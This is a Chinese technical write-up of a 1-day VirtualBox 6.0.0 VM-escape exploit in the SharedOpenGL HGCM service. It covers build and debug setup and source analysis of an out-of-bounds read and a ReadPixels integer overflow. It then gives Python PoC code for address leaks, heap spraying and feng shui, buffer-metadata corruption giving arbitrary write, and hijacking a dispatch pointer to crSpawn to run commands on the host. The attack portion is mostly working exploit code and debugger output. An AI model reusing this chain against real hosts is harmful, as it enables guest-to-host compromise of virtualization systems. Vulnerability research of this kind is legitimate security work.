本文分为两部分内容:
相关代码:
https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day
环境信息:
host: ubuntu 18.04.0 glibc 2.27 (VirtualBox-6.0.0 要求的 4.x 内核版本)
guest: ubuntu 18.04.1
VirtualBox: 6.0.0
下载源码
https://download.virtualbox.org/virtualbox/6.0.0/VirtualBox-6.0.0.tar.bz2
安装依赖
sudo apt-get install gcc g++ bcc iasl xsltproc uuid-dev zlib1g-dev libidl-dev libsdl1.2-dev libxcursor-dev libasound2-dev libstdc++5 libpulse-dev libxml2-dev libxslt1-dev python-dev libqt4-dev qt4-dev-tools libcap-dev libxmu-dev mesa-common-dev libglu1-mesa-dev linux-kernel-headers libcurl4-openssl-dev libpam0g-dev libxrandr-dev libxinerama-dev libqt4-opengl-dev makeself libdevmapper-dev default-jdk texlive-latex-base texlive-latex-extra texlive-latex-recommended texlive-fonts-extra texlive-fonts-recommended build-essential libc6-dev-i386 libvpx-dev libopus-dev qttools5-dev-tools libssl-dev libqt5*
# 这条命令不确定是否需要,和 virutalbox 的内核模块有关
sudo apt install --reinstall virtualbox-dkms
编译
./configure --disable-hardening
然后根据 configure 的提示把用户态程序和内核模块编译,最后安装好内核模块即可.
启动命令
root@ubuntu:/home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin# ./VirtualBox
启动虚拟机后 VirtualBoxVM 进程就是负责和虚拟机交互的进程,使用 gdb attach 上去就可调试本文涉及的漏洞.
poc@ubuntu:~$ ps -ef | grep VirtualBox
root 57078 123050 39 00:52 ? 00:01:12 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VirtualBoxVM --comment escape --startvm caf1fb59-407a-447e-858a-6f9773fea30f --no-startvm-errormsgbox
root 111205 1585 0 Mar25 ? 00:41:48 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VBoxXPCOMIPCD
root 123041 66228 0 Mar25 pts/0 00:39:58 ./VirtualBox
root 123050 1585 1 Mar25 ? 01:26:20 /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/bin/VBoxSVC --auto-shutdown
本节内容组织如下:
漏洞均位于 VirtualBox 的 SharedOpenGL 模块,虚拟机需要启用 3D 加速 VirtualBox 才会加载该模块(VBoxSharedCrOpenGL.so).
配置正确后,gdb 调试虚拟机进程( gdb attach $(pidof VirtualBoxVM)
)就可以找到 SharedOpenGL 模块对应线程(ShCrOpenGL)
SharedOpenGL 模块注册了 HGCM 服务 (服务名 VBoxSharedCrOpenGL
),Guest OS 可以通过 HGCM 协议调用 VBoxSharedCrOpenGL
服务.
// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
extern "C" DECLCALLBACK(DECLEXPORT(int)) VBoxHGCMSvcLoad (VBOXHGCMSVCFNTABLE *ptable)
{
int rc = VINF_SUCCESS;
Log(("SHARED_CROPENGL VBoxHGCMSvcLoad: ptable = %p\n", ptable));
g_pHelpers = ptable->pHelpers;
g_u32fCrHgcmDisabled = 0;
ptable->cbClient = sizeof (void*);
ptable->pfnUnload = svcUnload;
ptable->pfnConnect = svcConnect; // 连接服务回调
ptable->pfnDisconnect = svcDisconnect; // 断开服务回调
ptable->pfnCall = svcCall; // guest call 回调
ptable->pfnHostCall = svcHostCall;
ptable->pfnSaveState = svcSaveState;
ptable->pfnLoadState = svcLoadState;
ptable->pfnNotify = NULL;
ptable->pvService = NULL;
if (!crVBoxServerInit())
return VERR_NOT_SUPPORTED;
crServerVBoxSetNotifyEventCB(svcNotifyEventCB);
return rc;
}
Guest OS 与 SharedOpenGL 模块的交互示意图如下:
Guest OS 通过 PIO/MMIO 和 VirtualBox 通信,当 Guest OS 要调用 VBoxSharedCrOpenGL
服务的流程如下:
hgcm_connect
和 VBoxSharedCrOpenGL
服务建立连接,获取 client 句柄hgcm_call
请求 VBoxSharedCrOpenGL
服务hgcm_disconnect
释放连接.整个过程涉及 VirtualBox 中三个线程的交互: EMT-1 Thread (模拟PIO交互)、MainHGCMthread (HGCM 服务管理线程)、ShCrOpenGL(VBoxSharedCrOpenGL
服务线程).
Guest OS 调用 hgcm_connect
和 hgcm_disconnect
与 VBoxSharedCrOpenGL
服务交互时的流程如下:
PIO/MMIO
触发 EMT-1 线程的回调,然后会进入 HGCMGuestConnect/HGCMGuestDisconnect
.EMT-1
线程组装 HGCM_MSG_CONNECT/HGCM_MSG_DISCONNECT
消息,然后把消息放到 MainHGCMthread 线程的消息队列SVC_MSG_CONNECT/SVC_MSG_DISCONNECT
消息ShCrOpenGL
线程的消息队列.ShCrOpenGL
线程从消息队列中取出消息进行处理.ShCrOpenGL
线程调用服务的 pSvc->m_fntable.pfnConnect/pSvc->m_fntable.pfnDisconnect 回调函数.Guest OS 调用 hgcm_call
与 VBoxSharedCrOpenGL
服务交互时的流程如下:
PIO/MMIO
触发 EMT-1 线程的回调并传入服务句柄(hgcm_connect
),然后会进入 HGCMGuestCall
.EMT-1
线程组装 SVC_MSG_GUESTCALL
消息,然后根据服务句柄找到服务对象,并将消息放入 ShCrOpenGL
线程的消息队列.ShCrOpenGL
线程从消息队列中取出消息进行处理.ShCrOpenGL
线程调用服务的 pSvc->m_fntable.pfnCall 回调函数下面结合源码对上述流程进行分析。
Guest 对 VBoxSharedCrOpenGL
服务发起 connect 请求时,ShCrOpenGL 线程会调用 svcConnect.
// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
static DECLCALLBACK(int) svcConnect (void *, uint32_t u32ClientID, void *pvClient, uint32_t fRequestor, bool fRestoring)
{
int rc = crVBoxServerAddClient(u32ClientID);
return rc;
}
调用 crVBoxServerAddClient 分配 client 并将其和 u32ClientID 关联.
CRConnection *
crNetAcceptClient( const char *protocol, const char *hostname,
unsigned short port, unsigned int mtu, int broker )
{
CRConnection *conn;
conn = (CRConnection *) crCalloc( sizeof( *conn ) );
// 初始化 conn 结构体
}
int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
CRClient *newClient;
newClient = (CRClient *) crCalloc(sizeof(CRClient));
newClient->conn = crNetAcceptClient(cr_server.protocol, NULL,
cr_server.tcpip_port,
cr_server.mtu, 0);
newClient->conn->u32ClientID = u32ClientID;
cr_server.clients[cr_server.numClients++] = newClient;
crServerAddToRunQueue(newClient);
return VINF_SUCCESS;
}
主要就是调用 crCalloc 分配了 CRClient 和 CRConnection 两个结构体,crCalloc 实际就是调用 libc 的 malloc + memset.
Guest 调用 hgcm_connect 可以连接服务并获取到 client id.
client = hgcm_connect("VBoxSharedCrOpenGL")
Guest 调用 hgcm_disconnect 关闭服务连接
hgcm_disconnect(client)
之后 ShCrOpenGL 线程会调用 svcDisconnect.
// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
static DECLCALLBACK(int) svcDisconnect (void *, uint32_t u32ClientID, void *pvClient)
{
int rc = VINF_SUCCESS;
crVBoxServerRemoveClient(u32ClientID);
return rc;
}
crVBoxServerRemoveClient 最终会调用 crServerDeleteClient
释放 CRClient
和 CRConnection
.
Guest 调用 hgcm_call 调用具体的服务,下面以 SHCRGL_GUEST_FN_WRITE_BUFFER 为例,介绍处理流程:
def alloc_buf(client, sz, msg='a'):
buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
return buf
hgcm_call 的参数说明如下:
假设 Guest 调用 alloc_buf 尝试在 VirtualBox 进程中申请一块内存:
alloc_buf(client, 0x100, 'bbbbbbbb')
经过消息的传递,ShCrOpenGL 线程会调用 svcCall 处理服务请求.
// src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp
static DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient,
uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)
{
switch (u32Function)
{
case SHCRGL_GUEST_FN_WRITE_BUFFER:
{
/* Fetch parameters. */
uint32_t iBuffer = paParms[0].u.uint32;
uint32_t cbBufferSize = paParms[1].u.uint32;
uint32_t ui32Offset = paParms[2].u.uint32;
uint8_t *pBuffer = (uint8_t *)paParms[3].u.pointer.addr;
uint32_t cbBuffer = paParms[3].u.pointer.size;
/* Execute the function. */
CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);
memcpy((void*)((uintptr_t)pSvcBuffer->pData+ui32Offset), pBuffer, cbBuffer);
paParms[0].u.uint32 = pSvcBuffer->uiId;
break;
}
}
首先从 paParms 里面取出参数:
然后 svcGetBuffer 申请内存并通过 memcpy 拷贝数据,最后设置返回值为 buffer 的 id.
paParms 在 vmmdevHGCMCall 函数中分配并初始化,调用栈如下:
(gdb) bt
#0 iface_hgcmCall
#1 vmmdevHGCMCall // 分配 paParms
#2 vmmdevReqHandler_HGCMCall
#3 vmmdevReqDispatcher
#4 vmmdevRequestHandler
#5 IOMIOPortWrite
#6 IOMR3ProcessForceFlag
#7 emR3HighPriorityPostForcedActions
#8 emR3HmExecute
#9 EMR3ExecuteVM
#10 in vmR3EmulationThreadWithId
vmmdevHGCMCall 初始化请求参数的主要逻辑如下:
RTMemAllocZ(cbData)
)+拷贝数据.svcCall
)时传入参数 pCmd->u.call.paHostParms
Guest 可以通过 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 命令让 VirtualBox 解析 Guest 提供的 TLV 数据,本文的漏洞都是在解析这些 TLV 数据时,没有小心使用数据导致的漏洞.
VirtualBox 处理 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 请求时,首先根据 iBuffer 找到 buffer,然后 crVBoxServerClientWrite --> crUnpack
会解析 pSvcBuffer 中的数据
crVBoxServerClientWrite
crVBoxServerInternalClientWriteRead
crServerServiceClients
crServerDispatchMessage
crUnpack
crUnpack 通过 unpack.py 生成,生成后的代码位于 out/linux.amd64/release/obj/VBoxOGLgen/unpack.c
,主体逻辑如下:
void crUnpack( const void *data, const void *data_end, const void *opcodes,
unsigned int num_opcodes, SPUDispatchTable *table )
{
unpack_opcodes = (const unsigned char *)opcodes;
cr_unpackData = (const unsigned char *)data;
cr_unpackDataEnd = (const unsigned char *)data_end;
for (i = 0; i < num_opcodes; i++)
{
switch( *unpack_opcodes )
{
case CR_ALPHAFUNC_OPCODE:
crUnpackAlphaFunc();
break;
case CR_ARRAYELEMENT_OPCODE:
crUnpackArrayElement();
break;
case CR_BEGIN_OPCODE:
crUnpackBegin();
break;
调用栈如下
Thread 17 "ShCrOpenGL" hit Breakpoint 1, crUnpack at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:1692
1692 {
(gdb) bt
#0 crUnpack
#1 crServerDispatchMessage
#2 crServerServiceClient
#3 crServerServiceClients
#4 crVBoxServerInternalClientWriteRead
#5 crVBoxServerClientWrite
#6 svcCall
#7 hgcmServiceThread
#8 hgcmWorkerThreadFunc
crUnpack 函数先设置 cr_unpackData 和 cr_unpackDataEnd 全局变量使其指向 Guest 提供的数据,然后进入一个 switch 语句对不同类型的 opcode 进行处理,后续的数据处理就会从 cr_unpackData 中获取数据并解析.
crUnpackExtendGetAttribLocation 解析数据时从数据包中取出 packet_length ,没有校验后面就拿来当作数组偏移去拷贝数据.
void crUnpackExtendGetAttribLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetAttribLocation(program, name);
}
READ_DATA 就是从 cr_unpackData 里面取数据,其数据来自与 Guest 的 HGCM 请求,宏定义如下
#define READ_DATA( offset, type ) \
*( (const type *) (cr_unpackData + (offset)))
漏洞在于 packet_length 没有校验,导致后面 SET_RETURN_PTR 和 SET_WRITEBACK_PTR 会越界拷贝数据到 return_ptr 和 writeback_ptr 指针中.
#define SET_RETURN_PTR( offset ) do { \
CRDBGPTR_CHECKZ(return_ptr); \
crMemcpy( return_ptr, cr_unpackData + (offset), sizeof( *return_ptr ) ); \
} while (0);
#define SET_WRITEBACK_PTR( offset ) do { \
CRDBGPTR_CHECKZ(writeback_ptr); \
crMemcpy( writeback_ptr, cr_unpackData + (offset), sizeof( *writeback_ptr ) ); \
} while (0);
return_ptr 和 writeback_ptr 的数据会在 crServerDispatchGetAttribLocation 返回给 Guest。
调用 crServerDispatchGetAttribLocation 时的调用栈如下:
(gdb) bt
#2 0x00007f565782667f in crServerDispatchGetAttribLocation (program=<optimized out>, name=0x7f564833579c "") at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_glsl.c:127
#3 0x00007f56578b1fec in crUnpackExtend () at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:6034
#4 0x00007f56578b29ed in crUnpack (data=data@entry=0x7f5648335790, data_end=data_end@entry=0x7f5648336780, opcodes=opcodes@entry=0x7f564833578f, num_opcodes=<optimized out>, table=table@entry=0x7f5657b039d0 <cr_server+13008>) at /home/poc/VirtualBox-6.0.0/out/linux.amd64/release/obj/VBoxOGLgen/unpack.c:4109
#5 0x00007f5657829f09 in crServerDispatchMessage (cbMsg=4096, msg=0x7f5648335780, conn=0x7f56482eee80) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:681
#6 0x00007f5657829f09 in crServerServiceClient (qEntry=0x7f568c016170, qEntry=0x7f568c016170) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:817
#7 0x00007f5657829f09 in crServerServiceClients () at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:872
#8 0x00007f565781199d in crVBoxServerInternalClientWriteRead (pClient=0x7f56482f5510) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:758
#9 0x00007f56578159b3 in crVBoxServerClientWrite (u32ClientID=u32ClientID@entry=13, pBuffer=0x7f5648335780 "\001LGwAAAA\001", cbBuffer=4096) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:792
#10 0x00007f5657804cec in svcCall(void*, VBOXHGCMCALLHANDLE, uint32_t, void*, uint32_t, uint32_t, VBOXHGCMSVCPARM*, uint64_t) (callHandle=0x7f56652cb730, u32ClientID=13, pvClient=<optimized out>, u32Function=<optimized out>, cParms=<optimized out>, paParms=0x7f5604a1ad60, tsArrival=500380665376343) at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:740
#11 0x00007f569a670e6f in hgcmServiceThread(HGCMThread*, void*) (pThread=0x7f5658003ae0, pvUser=0x7f5658003980) at /home/poc/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:706
#12 0x00007f569a66ed5f in hgcmWorkerThreadFunc(RTTHREAD, void*) (hThreadSelf=<optimized out>, pvUser=0x7f5658003ae0) at /home/poc/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200
#13 0x00007f56baff259c in rtThreadMain(PRTTHREADINT, RTNATIVETHREAD, char const*) (pThread=pThread@entry=0x7f5658003d10, NativeThread=NativeThread@entry=140008815646464, pszThreadName=pszThreadName@entry=0x7f56580045f0 "ShCrOpenGL") at /home/poc/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719
#14 0x00007f56bb0a562a in rtThreadNativeMain(void*) (pvArgs=0x7f5658003d10) at /home/poc/VirtualBox-6.0.0/src/VBox/Runtime/r3/posix/thread-posix.cpp:327
#15 0x00007f56b7a476db in start_thread (arg=0x7f5657b8d700) at pthread_create.c:463
#16 0x00007f56b867161f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
packet_length 是 int 类型,因此我们可以向前或者向后越界,越界的范围为 int 的取值范围,被越界的缓冲区为 pSvcBuffer->pData .
CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData;
uint32_t cbBuffer = pSvcBuffer->uiSize;
pSvcBuffer->pData 为 Guest 通过 SHCRGL_GUEST_FN_WRITE_BUFFER 命令分配大小可控.
下面介绍如何利用越界读泄露 VBoxSharedCrOpenGL.so 和 VBoxOGLhostcrutil.so 的地址.
在 Guest 连接 VBoxSharedCrOpenGL
服务时会分配 CRClient 和 CRConnection 结构体,这两个结构体中分别存放了VBoxSharedCrOpenGL.so 和 VBoxOGLhostcrutil.so 的地址,因此通过布局让这两个结构体位于 pSvcBuffer->Data 的前后,然后触发越界读即可泄露出需要的地址。
crVBoxServerAddClient 在新建 client 结构体后会将 cr_server 的地址放到 newClient->currentCtxInfo , cr_server 位于 VBoxSharedCrOpenGL.so 中.
int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
CRClient *newClient;
newClient = (CRClient *) crCalloc(sizeof(CRClient));
newClient->spu_id = 0;
newClient->currentCtxInfo = &cr_server.MainContextInfo;
由于越界读漏洞的触发不会对系统稳定性造成影响,理论上可以无限次尝试,所以 poc 代码中泄露地址这块写的比较简单.
leak_success = False;
while not leak_success:
for i in range(0, 10):
print("Connect VBoxSharedCrOpenGL.")
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
print("leak: {}".format(hex(leak)))
if (leak%0x1000 == 0x170):
leak_success = True
break
大概思路:
通过多次 hgcm_connect + hgcm_disconnect 在堆上分配多个 CRClient 对象
然后触发漏洞在 CRClient 的后面分配 pSvcBuffer->pData,然后向前越界读获取 CRCClient 对象的 cr_server 指针
crmsg 有三个参数:client、 msg、 bufsz,第三个参数默认为 0x1000
bufsz
的 pSvcBuffer->pData,然后把 msg 的数据拷贝进去因此这一步分配的 pSvcBuffer->pData 的大小为 0x1000.
如果获取失败,说明堆布局有问题,回到第一步继续尝试.
泄露 CRConnection 结构体会稍微复杂一些,相关代码如下:
leak_clients = []
leak_success = False;
while not leak_success:
msg = nop_msg()
buf_ids = []
for i in range(60):
buf_ids.append(alloc_buf(client, 0x298, msg))
for i in range(0, 15):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
leak_clients.append(leak_client)
msg = make_leak_msg(0x100000000-0x9f0 + 0x10)
result = crmsg(client, msg, 0x298)
for idx in buf_ids:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x298, 0])
for leak_client in leak_clients:
try:
hgcm_disconnect(leak_client)
except:
pass
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x9d0):
leak_success = True
break
大概思路:
通过 之前的介绍[^1] 可知,Guest OS 和 VBoxSharedCrOpenGL
服务通信会涉及三个线程的通信,这其中又会涉及不同线程的多次内存申请和释放,这些其他线程内存申请和释放会对堆布局产生影响吗?答案是可能会,但是对于 VirtualBox 来说*****基本没影响。
VirtualBox 实际会调用 glibc 的 malloc、free 等函数进行内存的申请和释放,glibc 使用 arena (struct malloc_state
)来管理内存,我们比较熟悉的可能是 main_arena,在多线程进程中 glibc 会再根据 CPU 核数分配若干个 dynamic arena,这些 arena 通过双向链表相互关联,如下图所示:
每个线程会在其 TLS 里面存放 thread arena 的指针,然后内存的申请/释放都会对 thread arena 进行操作(bin 的管理),如果在 thread arena 中申请内存失败,会根据双向链表,找下一个 arena,然后再次尝试申请内存.
因此当 dynamic arena 数量少于线程数量或者在当前 thread arena 中内存申请失败时 就有可能涉及多个线程共用一个 arena,这种情况下就有可能导致堆布局不稳定.
经过一些测试,ShCrOpenGL 线程的 arena 被其他线程使用的频率很低,堆布局是比较稳定的,因为触发漏洞的内存(pSvcBuffer->pData)是在 ShCrOpenGL 线程中申请,因此选用的 victim 对象、布局对象也应该在 ShCrOpenGL 线程中申请(使用同一个 arena),CRClient 和 CRConnection 结构体满足这个条件.
漏洞位于 crServerDispatchReadPixels 函数:
void crServerDispatchReadPixels(GLint x, GLint y, GLsizei width, GLsizei height,
GLenum format, GLenum type, GLvoid *pixels)
{
const GLint stride = READ_DATA( 24, GLint );
const GLint alignment = READ_DATA( 28, GLint );
const GLint skipRows = READ_DATA( 32, GLint );
const GLint skipPixels = READ_DATA( 36, GLint );
const GLint bytes_per_row = READ_DATA( 40, GLint );
const GLint rowLength = READ_DATA( 44, GLint );
CRMessageReadPixels *rp;
uint32_t msg_len;
if (bytes_per_row < 0 || bytes_per_row > UINT32_MAX / 8 || height > UINT32_MAX / 8)
{
return;
}
msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height;
rp = (CRMessageReadPixels *) crAlloc( msg_len );
cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height,
format, type, rp + 1);
rp->header.type = CR_MESSAGE_READ_PIXELS;
rp->width = width;
rp->height = height;
rp->bytes_per_row = bytes_per_row;
rp->stride = stride;
rp->format = format;
rp->type = type;
rp->alignment = alignment;
rp->skipRows = skipRows;
rp->skipPixels = skipPixels;
rp->rowLength = rowLength;
/* <pixels> points to the 8-byte network pointer */
crMemcpy( &rp->pixels, pixels, sizeof(rp->pixels) );
crNetSend( cr_server.curClient->conn, NULL, rp, msg_len );
crFree( rp );
函数会使用 bytes_per_row 和 height 计算 msg_len
msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height;
CRMessageReadPixels 结构体大小为 0x38 字节,bytes_per_row 和 height 的最大取值均为 0x1fffffff,当 bytes_per_row = 0x1ffffffd, height = 8 时,msg_len 为 0x20。
然后后面 crMemcpy 时就会往 rp + 0x30 的位置写入 8 字节,而 rp 的实际内存大小只有 0x20 字节.
对应 poc 如下
def make_readpixels_msg(uiId, uiSize):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
+ pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
+ pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
)
return msg
主要就是控制 bytes_per_row = 0x1ffffffd, height = 8
,且 pixels 为 uiId, uiSize
.
分配 rp 时的寄存器状态(size 为 0x20)
(gdb)
59 rp = (CRMessageReadPixels *) crAlloc( msg_len );
rax 0x20 32
rbx 0x1ffffffd 536870909
rcx 0x7fd2b212b320 140542907429664
rdx 0x0 0
rsi 0x88eb 35051
rdi 0x20 32
rbp 0x7fd26a05fb80 0x7fd26a05fb80
rsp 0x7fd26a05fb20 0x7fd26a05fb20
r8 0x35 53
r9 0x0 0
r10 0x1 1
r11 0x7fd24c213f40 140541197107008
r12 0x8 8
r13 0x0 0
r14 0x35 53
r15 0x7fd24c2f4160 140541198025056
rip 0x7fd269cfd381 0x7fd269cfd381 <crServerDispatchReadPixels+257>
eflags 0x213 [ CF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
=> 0x7fd269cfd381 <crServerDispatchReadPixels+257>: call 0x7fd269cd48b0 <crAlloc@plt>
0x7fd269cfd386 <crServerDispatchReadPixels+262>: test rax,rax
0x7fd269cfd389 <crServerDispatchReadPixels+265>: je 0x7fd269cfd474 <crServerDispatchReadPixels+500>
0x7fd269cfd38f <crServerDispatchReadPixels+271>: lea rsi,[rip+0x2d636a] # 0x7fd269fd3700 <cr_server>
(gdb)
前面提到[^2] Guest 可以通过 SHCRGL_GUEST_FN_WRITE_BUFFER
命令分配 pSvcBuffer 并往里面写数据,其分配相关代码如下:
pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t));
pBuffer->pData = RTMemAlloc(cbBufferSize);
pBuffer->uiId = ++g_CRVBoxSVCBufferID;
pBuffer->uiSize = cbBufferSize;
pBuffer->pPrev = NULL;
pBuffer->pNext = g_pCRVBoxSVCBuffers;
g_pCRVBoxSVCBuffers = pBuffer;
return pBuffer;
首先分配一个 CRVBOXSVCBUFFER_t
结构体,然后分配 pBuffer->pData
,pData 的 size 由 Guest 指定, CRVBOXSVCBUFFER_t
的结构体布局如下:
(gdb) ptype /o CRVBOXSVCBUFFER_t
type = struct _CRVBOXSVCBUFFER_t {
/* 0 | 4 */ uint32_t uiId;
/* 4 | 4 */ uint32_t uiSize;
/* 8 | 8 */ void *pData;
/* 16 | 8 */ _CRVBOXSVCBUFFER_t *pNext;
/* 24 | 8 */ _CRVBOXSVCBUFFER_t *pPrev;
/* total size (bytes): 32 */
}
结构体中字段的作用:
通过溢出修改 CRVBOXSVCBUFFER_t
的 uiSize 为 0xffffffff
,后面通过 SHCRGL_GUEST_FN_WRITE_BUFFER
往 pData 中写数据时就能将受限溢出转换为 任意字节溢出(最大值为 0xffffffff
),最后可以实现任意地址写,示意图如下(忽略了 glibc 的 chunk header):
具体流程:
空闲块 | buffer #1 | buffer #1 的 data | buffer #2
相邻摆放.buffer #1
的 uiId=0xdeadbeef uiSize = 0xffffffff.SHCRGL_GUEST_FN_WRITE_BUFFER
,传入 iBuffer
为 0xdeadbeef
,找到被修改的 buffer #1
,然后往里面写入超过 0x20 的数据,修改 **buffer #2
的 uiId, uiSize, pData
字段**.SHCRGL_GUEST_FN_WRITE_BUFFER
,传入 iBuffer
为 0xcafebabe
,找到被修改的 buffer #2
,然后往里面写数据就能导致任意地址写。3~4 部分的 POC 如下
def make_corrupt_obj(pData):
obj = (
"A"*0x28
+ pack("<Q", 0x35)
+ pack("<I", 0xcafebabe) #uiId
+ pack("<I", 0xffffffff) #uiSize
+ pack("<Q", pData) # table_addr
)
return obj
def write_anywhere(addr, data):
#make corrupt obj
fake_buffer = make_corrupt_obj(addr)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer]) # overwrite buffer #2's pData & uiSize
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data]) # use buffer #2 to arw
下面再介绍堆布局的流程:
流程介绍如下:
首先通过申请大量 0x20 的内存消耗堆中的不连续的内存块.
连续分配多个 pData 大小为 0x20 的 pBuf,此时 pBuf 和 pData 会连续分配.
从后往前间隔释放 pBuf->pData 和 pBuf,由于堆管理的后入先出的特性,最终 free 块的链表为 free 7 --> free 6 --> .... -> free y
.
按照 0x50 和 0x20 的 Size 组合连续申请 pBuf
从后往前间隔释放 size 为 0x50 的 pBuf,最后 free 块链表为 free 1 --> free 0
触发漏洞,使用 free 0 溢出 pBuf 14.
利用 pBuf 14 溢出修改 pBuf 15 的 uiSize 、pData.
利用 pBuf 15 实现任意地址写.
堆喷相关代码
def heapSpray(client):
buf_ids = []
spray_ids = []
# 清理堆中的碎片.
for i in range(600):
alloc_buf(client, 0x20)
fengshui_buf_ids = []
for i in range(1000):
fengshui_buf_ids.append(alloc_buf(client, 0x60))
for i in range(500):
alloc_buf(client, 0x20)
raw_input("clean heap done.")
# 分配多个 pBuf, pBuf->pData 的大小为 0x20, 用于布局
for i in range(120):
buf_ids.append(alloc_buf(client, 0x20))
buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
# 占位避免合并
for i in range(120):
alloc_buf(client, 0x20)
raw_input("try to make hole...")
# 间隔释放 pBuf
for idx in buf_ids[::2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x40, 0])
# 按照 0x50 和 0x20 的 Size 组合连续申请 pBuf
for i in range(40):
spray_ids.append(alloc_buf(client, 0x50))
alloc_buf(client, 0x20)
# 间隔释放 size 为 0x50 的 pBuf,给 crServerDispatchReadPixels 凿洞
for idx in spray_ids[::-2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x40, 0])
有任意地址写的能力后,劫持 cr_unpackDispatch.BoundsInfoCR 函数指针为 crSpawn 函数,然后找个地方写入要执行的命令,通过 CR_BOUNDSINFOCR_OPCODE 命令即可触发 crSpawn 的执行.
void crUnpackBoundsInfoCR( void )
{
CRrecti bounds;
GLint len;
GLuint num_opcodes;
GLbyte *payload;
len = READ_DATA( 0, GLint );
bounds.x1 = READ_DATA( 4, GLint );
bounds.y1 = READ_DATA( 8, GLint );
bounds.x2 = READ_DATA( 12, GLint );
bounds.y2 = READ_DATA( 16, GLint );
num_opcodes = READ_DATA( 20, GLuint );
payload = DATA_POINTER( 24, GLbyte );
cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes );
INCR_VAR_PTR();
}
本节介绍调试堆风水中遇到的坑,以及定位和解决的思路,能复现该问题的 commit
https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/tree/dd3d3403f24278393667b902c34f5c0b302c9400
poc 执行完 heapSpray 中的下面代码后,理论上后面申请的 pBuf 和 pBuf->pData应该都是连续的.
def heapSpray(client):
buf_ids = []
spray_ids = []
msg = nop_msg()
# make CRVBOXSVCBUFFER_t & pData heapSpray area
for i in range(1, 200):
print("alloc {}.".format(i * 0x10))
for j in range(180):
alloc_buf(client, 0x10 + 0x10 * i, msg)
for i in range(2000):
alloc_buf(client, 0x20, msg)
fengshui_buf_ids = []
for i in range(1000):
fengshui_buf_ids.append(alloc_buf(client, 0x20, msg))
for i in range(4000):
alloc_buf(client, 0x20, msg)
raw_input("clean heap done.")
